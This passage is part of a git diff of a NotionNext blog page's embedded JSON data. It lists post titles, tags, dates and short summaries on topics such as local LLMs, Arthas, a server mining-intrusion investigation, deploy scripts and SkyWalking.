article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true},"page":"/404","query":{},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02\u0026width=800\u0026fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 